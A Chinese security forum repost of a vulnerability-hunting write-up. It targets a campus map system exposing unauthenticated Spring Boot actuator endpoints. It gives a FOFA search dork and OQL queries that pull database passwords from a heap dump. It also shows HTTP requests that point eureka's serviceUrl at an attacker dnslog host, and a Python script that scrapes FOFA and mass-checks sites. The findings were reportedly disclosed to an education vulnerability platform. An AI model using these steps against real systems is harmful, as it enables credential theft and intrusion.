安全矩阵

 找回密码
 立即注册
搜索
查看: 823|回复: 0

实战 | 记一次edusrc的漏洞挖掘

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-4-7 22:53:52 | 显示全部楼层 |阅读模式
转载于:Cobra 潇湘信安 文章作者:Cobra
文章链接: http://chiza.gitee.io/2022/02/28 ... %E6%8C%96%E6%8E%98/

声明:请勿利用文章内的相关技术从事非法测试

0x01 前言
在fofa上闲逛的时候发现这个系统,其实之前也碰到过这个系统,当时可能觉得没什么漏洞点就没有管,正好闲着没事又碰到了这个系统,然后就拿过来简单的测试了一下!

0x02 漏洞挖掘
1、信息收集
由于我是在fofa上发现的这个系统,所以也谈不上什么信息收集,我就直接贴了fofa搜索语法
  1. app="校园地图服务系统"
复制代码




2、漏洞挖掘
(1) 主页就是一个简单的地图界面


(2) 使用dirsearch浅扫一下目录吧,结果还真扫出点东西

(3) /actuator/env这不是springboot未授权么,后面测试了几个同样的站,都是未授权,这不让我掏上了么。(高兴归高兴,但是貌似存在漏洞的只有五六个站)

3、springboot 未授权
(1) 直接访问/env目录,拿到数据库信息


(2) 访问/heapdump目录下载网站的堆转储文件

(3) 使用Eclipse Memory Analyzer工具分析,利用该工具的OQL查询功能,查询password关键字得到数据库连接密码,查询语句如下:
  1. <div>select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))</div><div>select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))</div>
复制代码

既然/env目录可以访问,那RCE肯定少不了

4、spring boot RCE
(1) 访问 http://xxx.xxx.xxx/actuator/env 并抓包,修改数据包为
  1. POST /openapi/actuator/env HTTP/1.1
  2. Host: IP
  3. Content-Type: application/json
  4. Content-Length: 85

  5. {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your.dnslog.cn"}
复制代码

(2) 刷新配置,修改数据包为
  1. POST /openapi/actuator/refresh HTTP/1.1
  2. Host: IP
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
  4. Content-Type: application/json
复制代码

发送数据包后dnslog收到响应

(3) 再次访问/env目录可以发现我们的dnslog地址已经写入

0x03 批量脚本
批量脚本是结合fofa爬取IP,再利用poc进行漏洞验证
  1. import requests
  2. import base64
  3. from lxml import etree
  4. import time
  5. search_data='"校园地图服务系统"'

  6. headers={
  7.     'cookie':'fofa.cookie',
  8. }
  9. for Page_number in range(1,3):
  10.     url='https://fofa.info/result?page='+str(Page_number)+'&qbase64='
  11.     search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
  12.     urls=url+search_data_bs
  13.     #print(urls)
  14.     try:
  15.         print('正在爬取第' + str(Page_number) + '页')
  16.         result=requests.get(urls,headers=headers).content.decode('utf-8')
  17.         #print(result)
  18.         soup = etree.HTML(result)
  19.         ip_data=soup.xpath('//a[@target="_blank"]/@href')
  20.         ipdata='\n'.join(ip_data)
  21.         print(ip_data)
  22.         with open(r'ip.txt', 'a+') as f:
  23.             f.write(ipdata+'\n')
  24.             f.close()
  25.         time.sleep(0.5)
  26.     except Exception as e:
  27.         pass


  28. payload='/openapi/actuator/env'
  29. for ip in open('ip.txt'):
  30.     ip=ip.replace('\n','')
  31.     new_url=ip+payload
  32.     #print(new_url)
  33.     try:
  34.         result=requests.get(new_url).content.decode('utf-8')
  35.         code=requests.get(new_url).status_code
  36.         print("check_ip->"+ip)
  37.         if 'activeProfiles' in result and code==200:
  38.             print(('\033[31m存在漏洞的URL->'),new_url)
  39.             print('\033[0m')
  40.             with open(r'result.txt','a+') as f:
  41.                 f.write(ip+'\n')
  42.                 f.close()
  43.         time.sleep(0.5)
  44.     except Exception as e:
  45.         pass
复制代码

0x03 后记
这次其实是一个比较简单的案例,可能是其他师傅没有去测这个系统,正好我运气不错碰到了,其实很多时候许多师傅看到这样的系统就觉得没必要去测(我之前碰到的时候也是这样想的)。所以我们在漏洞挖掘过程中还是要考虑到各种漏洞存在的可能。

上述漏洞已全部上报教育行业漏洞报告平台,如果上述有写的不对的地方,还请各位师傅多多包涵。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 17:44 , Processed in 0.012883 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表